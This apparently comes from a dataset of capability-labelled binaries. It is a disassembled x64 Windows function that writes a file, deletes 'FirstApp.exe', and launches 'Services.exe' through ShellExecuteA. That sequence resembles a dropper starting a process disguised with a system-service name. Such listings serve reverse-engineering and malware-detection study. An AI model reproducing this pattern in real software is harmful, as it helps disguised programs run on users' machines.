Function at 0x180001cd8
Capabilities:
Create process on windows

Disassembly:
mov rax, rsp
push rbp
push rdi
push r14
lea rbp, [rax - 0x198]
sub rsp, 0x280
mov qword [rsp + 0x40], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov rax, qword [0x18002a5a0]
xor rax, rsp
mov qword [rbp + 0x170], rax
mov rdi, r8
xor esi, esi
mov dword [rsp + 0x30], esi
xor edx, edx
mov r8d, 0x108
lea rcx, [rsp + 0x50]
call fcn.180007840
lea rax, [0x180025c88]
mov qword [rsp + 0x50], rax
lea ebx, [rsi + 1]
mov dword [rsp + 0x30], ebx
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rbp - 8], rax
mov dword [rbp - 0xc], 0x98
xor r8d, r8d
lea rdx, [rsp + 0x58]
lea rcx, [rbp - 8]
call fcn.18000349c
nop
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x50], rax
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x4c], edx
lea rcx, [rsp + 0x58]
call fcn.180003ac8
lea rax, vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov qword [rsp + 0x58], rax
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x58]
call fcn.18000354c
nop
cmp qword [rbp - 0x18], rsi
jne 0x180001e25
lea edx, [rsi + 0x22]
lea r8d, [rsi + 0x40]
lea rcx, [0x180025bd0]
call fcn.180004df4
test rax, rax
je 0x180001e25
mov r8d, ebx
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.18000354c
lea rdx, [rsp + 0x38]
lea rcx, [rsp + 0x58]
call fcn.180003b70
nop
mov rcx, rax
call fcn.1800041c0
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.180003780
nop
mov rcx, qword [rsp + 0x38]
test rcx, rcx
je 0x180001e4e
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x180001e4e
mov r8, qword [rax]
mov edx, ebx
mov rcx, rax
call qword [r8]
jmp 0x180001e4e
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
lea rcx, [rsp + rcx + 0x50]
mov edx, dword [rcx + 0x10]
or edx, 2
mov eax, edx
or eax, 4
cmp qword [rcx + 0x48], rsi
cmove edx, eax
xor r8d, r8d
call fcn.180001a64
nop
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
test byte [rsp + rcx + 0x60], 6
jne 0x180001f3b
lea rcx, [rsp + 0x50]
call fcn.18000236c
lea r14, [rsp + 0x58]
cmp qword [rbp - 0x18], rsi
jne 0x180001e7c
mov rbx, rsi
jmp 0x180001e9d
lea rcx, [rsp + 0x58]
call fcn.1800035f8
neg al
sbb rbx, rbx
and rbx, r14
mov rcx, qword [rbp - 0x18]
call fcn.1800068ec
test eax, eax
cmovne rbx, rsi
xor edx, edx
lea r8d, [rdx + 2]
lea rcx, [rsp + 0x58]
call fcn.18000354c
test rbx, rbx
jne 0x180001eda
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
lea rcx, [rsp + rcx + 0x50]
mov edx, dword [rcx + 0x10]
or edx, 2
mov eax, edx
or eax, 4
cmp qword [rcx + 0x48], rsi
cmove edx, eax
xor r8d, r8d
call fcn.180001a64
mov r9, rdi
lea r8, [0x180025be0]
mov edx, 0x105
lea rcx, [rbp + 0x60]
call fcn.180005490
lea rcx, str.FirstApp.exe
call fcn.180006230
test eax, eax
je 0x180001f16
lea rdx, str.Failed_to_delete_the_first_application.
call fcn.180003f0c
mov rcx, rax
call fcn.180004138
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rsi
lea r9, [rbp + 0x60]
lea r8, str.Services.exe
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
jmp 0x180001f50
lea rdx, str.Failed_to_create_file.
call fcn.180003f0c
mov rcx, rax
call fcn.180004138
nop
lea rcx, [rbp - 8]
call fcn.180002454
lea rax, vtable.std::ios_base.0
mov qword [rbp - 8], rax
lea rcx, [rbp - 8]
call fcn.180004920
mov rcx, qword [rbp + 0x170]
xor rcx, rsp
call fcn.180005170
lea r11, [rsp + 0x280]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret